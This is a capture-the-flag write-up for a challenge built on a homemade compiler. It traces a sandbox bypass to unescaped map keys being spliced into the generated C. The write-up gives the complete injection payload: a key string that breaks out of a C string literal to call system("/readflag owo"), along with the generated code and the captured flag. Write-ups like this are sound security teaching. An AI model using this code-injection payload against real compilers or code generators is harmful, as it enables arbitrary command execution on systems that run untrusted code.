ycc
The sandbox flags are airtight; the bug is that emit_dot splices an unescaped key into the generated C, so a map lookup breaks out into system().
pwnsec{88828029862da6d0} The challenge
“ycc (y to c compiler) is 100% secure and can be used to compile and run arbitrary user code. ycc is compiled with ycc! for sandbox mode, you may want to use
--no-execand--no-io.”
/bin/sh is symlinked to a custom shell ysh (the binary produced by compiling ysh.y with ycc), and the REPL only accepts echo/calc/rev/count/seq/fib/help/exit/eval. eval takes the “y” source we supply and compiles and runs it like this every time (run_src in ysh.y):
write_file(SRC_PATH, src);
exec("YCC_RUNTIME_DIR=/app /app/ycc --no-exec --no-io --compile " + SRC_PATH + " -o " + OUT_PATH);
exec(OUT_PATH);
/readflag is chmod 4111 (setuid-root, execute-only) and the flag is baked into it as a string literal (entrypoint.sh builds readflag.y with an unquoted heredoc that substitutes $FLAG directly, then compiles it). So the goal is not “read a file” but run /readflag owo with our own privileges.
What —no-exec —no-io actually blocks (no hole here)
ycc.c is itself the output of compiling “y” with ycc, so it is a mass of GCC statement-expressions (({ ... })). Opening emit_program (internally yfn_57) shows how the preamble of the generated main() is assembled:
// exec and spawn are gated on no_exec; read_file/write_file/getenv on no_io
if (opts.no_exec != true)
push(" y_scope_set(scope, \"exec\", y_mk_func(y_builtin_exec, 1, NULL));\n");
if (opts.no_exec != true)
push(" y_scope_set(scope, \"spawn\", y_mk_func(y_builtin_spawn, 1, NULL));\n");
if (opts.no_io != true)
push(" y_scope_set(scope, \"read_file\", ...);\n");
if (opts.no_io != true)
push(" y_scope_set(scope, \"write_file\", ...);\n");
if (opts.no_io != true)
push(" y_scope_set(scope, \"getenv\", ...);\n");
All five are gated symmetrically, with none missed. emit_call (yfn_46) has no callee-name blocklist at all — it just emits y_scope_get(scope, "<name>"). The restriction is therefore not “reject the name at compile time” but “never put the name in the generated program’s scope”. When y_scope_get fails to find it, the program dies cleanly with fprintf(stderr, "undefined variable"); exit(1); — no segfault.
global_get is always bound, but it only walks the same scope, so it is not a way around this.
A TOCTOU angle (“race /tmp/_ysh_out and swap the binary”) also went nowhere, since there is no privileged binary to swap in. --no-exec / --no-io are sound.
The real hole — emit_dot does not check the token type, and does not escape
In the parser’s postfix handling (yfn_22), on seeing .:
if (is_op(toks, pos, ".")) {
name = tv(toks, pos + 1); // just takes the next token's VALUE — no type check!
node = { k: "dot", obj: node, key: name };
pos += 2;
}
It never checks that the next token is an identifier. So obj."any string" parses happily, and that string’s (already unescaped) value becomes key. Confirmed locally straight away:
$ let x = { a: 1 }; let y = x."a"; print(tostring(y));
1 # behaves exactly like x.a
And emit_dot (yfn_45) splices that key into the generated C without escaping it — while emit_map, which emits map literals, calls esc() properly. This one function is the only place it is missing:
"({ YValue *_m = " + obj + "; "
"YValue *_v = y_map_get(_m, \"" + key + // ← raw, unescaped
"\"); if (!_v) { fprintf(stderr, \"runtime error: key '" + key + // ← raw again
"' not found\\n\"); exit(1); } YValue *_r = y_clone(_v); y_free(_m); _r; })"
Putting a " in key breaks straight out of the generated C string literal. What we break out into is an ordinary C program — runtime.c is relinked whole — so anything is available, system() included. --no-exec / --no-io are about name bindings at the “y” level; they never inspect the generated C.
Building the payload
key is spliced into two places (y_map_get(_m, "KEY") and the error message 'KEY' not found), so the payload has to produce valid C at both. The idea: break out at the first site → call system() → set _v non-null so the if (!_v) branch is dead → reopen and close with an empty string so it meshes with the template’s own ");.
KEY = zzz"); system("/readflag owo"); _v = y_mk_long(0); if(0) y_map_get(_m, "
After both substitutions (taken from the actual -S output):
({ YValue *_m = y_clone(y_scope_get(scope, "x"));
YValue *_v = y_map_get(_m, "zzz");
system("/readflag owo"); // ← this really runs
_v = y_mk_long(0);
if(0) y_map_get(_m, "");
if (!_v) { // never taken, _v is non-null
fprintf(stderr, "runtime error: key 'zzz");
system("/readflag owo");
_v = y_mk_long(0);
if(0) y_map_get(_m, "' not found\n");
exit(1);
}
YValue *_r = y_clone(_v); y_free(_m); _r;
});
Perfectly valid C: compiled with --no-exec --no-io in force, it runs /readflag owo anyway. As “y” source (\" is a “y”-level escape that becomes a real " at runtime):
let x = { a: 1 };
x."zzz\"); system(\"/readflag owo\"); _v = y_mk_long(0); if(0) y_map_get(_m, \"";
Send that to the REPL as a single-line eval "<source>". (cmd_eval splits and rejoins on whitespace, but single spaces round-trip exactly, so it is fine. The heredoc-style eval + EOF form does not work — the challenge proxy tears down the whole connection on half-close — so it has to be one-line eval "...".)
$ python3 exp.py <host> 443
flag for you pwnsec{88828029862da6d0}
Notes
The payload was validated offline first: build the real Docker image locally (docker build → set the FLAG env var → reproduce entrypoint.sh), then fire at the remote. With codegen injection across two splice sites, working the offsets out on paper is error-prone; watching the generated C with ycc -S (emit-c) on every attempt is far faster.
The --no-exec / --no-io mechanism is symmetric and complete, and it ate a lot of time — for an “Easy” challenge that part is a trap. The real bug has nothing to do with the sandbox flags: the parser does not type-check the token after ., and emit_dot alone forgot to call esc().
The same logic (escaping map-literal keys) is present in emit_map and absent in emit_dot — a classic copy-paste-and-miss-one. When similar code appears in several places, diffing them all pays.
Files
exp.py— payload generation and delivery (python3 exp.py <host> [port] [command])src/— challenge sources (ycc.c,runtime.c,runtime.h,ysh.y,Dockerfile,entrypoint.sh)ycc.zip— original handout (password:infected)